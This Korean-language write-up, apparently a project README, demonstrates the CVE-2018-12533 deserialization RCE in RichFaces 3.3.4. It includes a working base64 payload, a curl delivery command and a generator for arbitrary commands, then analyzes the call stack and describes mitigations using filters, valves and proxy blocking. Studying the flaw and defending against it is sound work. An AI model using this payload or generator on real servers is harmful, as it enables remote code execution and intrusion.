
CVE-2018-12533 원격 코드 실행을 RichFaces 3.3.4에서 시연합니다. 페이로드 생성, Java 역직렬화 분석, 필터 또는 밸브를 통한 완화 전략을 포함합니다.
CVE-2018-12533 세부 정보. 다른 버전의 RichFaces도 취약합니다. 자세한 내용은 여기를 참조하세요.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
DATA/ 이후부터 .seam 이전까지가 공격 페이로드입니다. 이는 직렬화되고 압축된 Java 클래스로, Base64로 인코딩되어 있습니다. RichFaces가 URL과 호환되도록 형식을 약간 수정한 Base64입니다.
이 클래스에는 애플리케이션, 더 정확하게는 RichFaces에 의해 실행되는 Expression Language 형식의 명령줄이 포함되어 있습니다. 바로 여기에 문제가 있습니다. 서버에서 임의의 코드가 실행될 수 있기 때문입니다.
위 페이로드에 인코딩된 명령은
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458입니다 (데모 목적일 뿐이며) 곧 확인해 보겠습니다.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
페이로드를 RichFaces의 Base64 형식에서 표준 Base64 형식으로 변환합니다. Base64를 디코딩합니다. 이 경우 압축된 바이너리이므로 압축을 풀면 직렬화된 Java 클래스의 바이너리가 생성됩니다.
여기서는 페이로드 내부에 있는 악성 명령을 확인합니다.
아래 명령은 클래스의 모든 속성과 해당 속성에 정의된 타입을 표시합니다. 런타임 시 타입을 표시하지 않습니다. 이것이 무슨 뜻인지 모르더라도 괜찮습니다.
JBang 덕분에 Java 코드를 스크립트처럼 실행하고 있습니다.
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
출력은 다음과 비슷합니다:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ 핵심은 속성 _paint.savedState.m.orig.expr입니다. 여기에 악성 코드가 있습니다. 이 예제에서는 디스크에 파일을 생성하는 무해한 코드일 뿐입니다: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# 또는
./Generator_Paint2DResourceImageData.java <명령어>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
출력은 취약한 서버에 대해 실행할 명령을 보여줍니다. URL만 조정하세요.
덜 간단하지만 더 성능이 좋은 옵션은 RichFaces 코드를 수정하여 일부 처리를 수행하는 것입니다. 아래에 관련 스택이 있습니다.
이전보다 더 간단한 또 다른 옵션은 해당 경로에만 작동하는 필터(javax.servlet.Filter)를 생성하고, 경로에 있는 Base64를 역직렬화하여 요청을 계속할지 거부할지 적절히 확인하는 것입니다. 중요한 점은 역직렬화가 org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)에서 수행되는 것처럼 LookAheadObjectInputStream 클래스를 통해 이루어져야 한다는 것입니다. 이는 역직렬화 중 보안 문제 (예: 악성 코드 실행)를 최대한 방지하기 위함입니다.
한 가지 옵션은 애플리케이션 앞에 있는 프록시에서 엔드포인트의 경로를 차단하는 것입니다.
또 다른 옵션으로, 구현할 가치가 있다고 생각하지만 첫 번째 옵션을 대체하지는 않는 방법은, 해당 경로에만 작동하고 액세스를 차단하는 필터(javax.servlet.Filter)를 생성하는 것입니다. 차단은 필터 체인이 실행되지 않도록 요청에 응답하는 것만으로 이루어집니다. 본문에 텍스트를 넣고 HTTP 상태 코드 410(Gone)을 사용할 수 있습니다. 이 필터는 애플리케이션의 web.xml에 정의되어야 합니다. 이 필터의 예: PathBlockerFilter.
JBoss EAP를 사용하는 경우, 여기서 언급된 필터는 valve로 구현될 수 있습니다 (변경은 최소화됩니다).
web.xml에 정의된 필터보다 먼저 실행됩니다.jboss-web.xml파일에서 첫 번째<valve>로 정의되어야 합니다. 또는- standalone.xml(또는 domain.xml)의
urn:jboss:domain:web하위 시스템에서<valve태그를 통해 정의할 수 있습니다.- 이 valve의 예: PathBlockerValve
tl;dr: 악성 코드는
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)메서드의paint.invoke(facesContext, new Object[] {graphics,data._data});라인에서 실행됩니다.
HTTP 요청이 이루어지면 아래 스택과 같이 org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) 메서드에 도달합니다.
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); 줄에서 RichFaces 형식의 Base64가 추출됩니다 (이 Base64는 결국 직렬화되고 압축된 Java 객체임을 기억하세요).objectArray = decrypt(dataArray) 줄에서 이 Base64가 디코딩되고 압축이 풀립니다.data = in.readObject() 줄에서 악성 코드가 포함된 Java 객체가 역직렬화됩니다. 즉, 객체 인스턴스를 얻습니다.그런 다음 요청은 아래 스택과 같이 org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext) 메서드에 도달합니다.
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ 그런 다음 paint.invoke(facesContext, new Object[] {graphics,data._data}); 줄에서 악성 코드가 최종적으로 실행됩니다.
한 가지 예로 rich:paint2D 구성 요소를 들 수 있습니다: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
애플리케이션에서 수신한 페이로드는 org.ajax4jsf.resource.ResourceBuilderImpl 클래스에 DEBUG 로그를 활성화하여 확인할 수 있습니다.